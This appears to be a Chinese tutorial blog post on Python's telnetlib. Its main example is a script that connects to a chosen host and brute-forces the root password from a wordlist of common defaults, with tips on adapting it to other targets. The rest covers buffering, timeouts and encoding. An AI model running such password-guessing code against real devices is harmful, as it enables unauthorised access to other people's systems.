Python實現Telnet自動連接檢測密碼的示例
最近在學習Python網絡相關編程,這個代碼實現瞭Telnet自動連接檢測root用戶密碼,密碼取自密碼本,一個一個檢測密碼是否匹配,直到匹配成功,屏幕輸出停止。
Python內置瞭telnetlib模塊,支持telnet遠程操作,隻要直接import就可以。
代碼如下:
# encoding=utf-8 import telnetlib import time import sys import os def do_telnet(Host, Port, username, password, finish): # 連接Telnet服務器 tn = telnetlib.Telnet(Host, Port, timeout=1) tn.set_debuglevel(3) # 輸入登錄用戶名 tn.read_until("login: ") tn.write(str(username) + '\n') # 輸入登錄密碼 tn.read_until("Password: ") tn.write(str(password) + '\n') # 判斷密碼錯誤提示,如果沒有這個提示說明登錄成功 if tn.read_until(finish): print("****** login incorrect!\n") tn.close() if __name__ == '__main__': Host = input("IP:") # Telnet服務器IP Port = input("Port:") # Telnet服務器端口 username = 'root' # 登錄用戶名 finish = 'incorrect' # 密碼錯誤提示 pw_file = open('.\\pw.txt', 'r+') # 密碼文件 Index = 0 print(time.asctime(), ": ****** begin", "\n") while True: password = pw_file.readline() Index += 1 print(Index, time.asctime(), ": ****** try", "", username, ":", password, "") if len(password) == 0: break do_telnet(Host, Port, username, password, finish) pw_file.close()
密碼本pw.txt,內容例如:
root admin 12345 888888
輸出如下:
註:我這邊測試的目標主機是嵌入式linux系統,用戶名是root,密碼錯誤返回的是incorrect提示。你可能要根據目標系統不同修改用戶名和錯誤提示。
telnetlib提供好多方法可以得到數據,象read_until()是當結果中存在想要的信息時返回,read_some()是隻要有結果就返回,read_very_lazy()是返回緩沖區中的數據。經過看代碼,telnetlib采用緩沖的處理方式,因此數據並不是一下子就返回的,而是先放在瞭緩沖區中。許多的讀取處理都是圍繞著這個緩沖區來的。而緩沖區的信息何時到達就不說不清楚瞭,也許很快,也許很慢,也許分別到達,也許一下子就收到瞭。因此,對於數據不一定到齊的這種情況,就采用瞭象read_until()來判斷緩沖區中的數據是否有想要的內容,如果沒有就等待,除非到達瞭超時時間。再有可以使用expect方法,與read_until差不多,但是它可以支持正則表達式,功能要強大得多。
在網上還有一個叫 Pexpect 它好象功能強大,它支持多種協議,它的主頁就建議使用 Pexpect 來下載它的文檔。不過因為網絡不太好就沒有下來,不知道支不支持 Telnet 協議。
上面的程序再配以 ftplib 的功能就可以做一個遠程更新的維護程序。隻不過如何判斷後臺返回的信息,我沒有找到好的方法,是使用read_lazy()還是read_eager()呢?還是什麼別的方法。最主要的問題是,返回的數據不一定完整。好象沒有提供一個read_line()的方法。
其中port和timeout是可選的參數,而timeout的隻是在初始化socket連接時起作用,而一旦連接成功後如果出現等待那就不會起作用瞭,比如使用read_until方式獲取內容時返回的內容與指定的內容沒有吻合,那麼就會造成提示等待的情況,這時timeout是不會起作用的,而這個socket連接會一直保持著,永生不死。
那麼如何解決這個問題呢,其實還有一種比較原始的方法,就是使用sleep方法來代替read_until方法,這樣就不會出現種情況,因為到點就會自己輸入,最多也就是最後得不到想要的結果,但是這個方式很不穩定,兼容性也不好;另一種方法是使用線程來啟動這個函數,然後對子線程進行超時設置,這樣就可以達到間接控制這個telnet連接的目的瞭。
import threading th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands)) th1.start() th1.join(20) ##20秒超時時間
遇到的問題:
傳遞給Telnet方法的字符串都會被解一次碼,所以如果你傳遞過去需要write的字符串是已經解碼的unicode的話,那麼就會報錯的,所以在傳遞發送的字符串之前還是先編成utf-8為妥,用ascii編碼也可以。
以上就是Python實現Telnet自動連接檢測密碼的示例的詳細內容,更多關於python Telnet自動連接檢測密碼的資料請關註WalkonNet其它相關文章!
推薦閱讀:
- None Found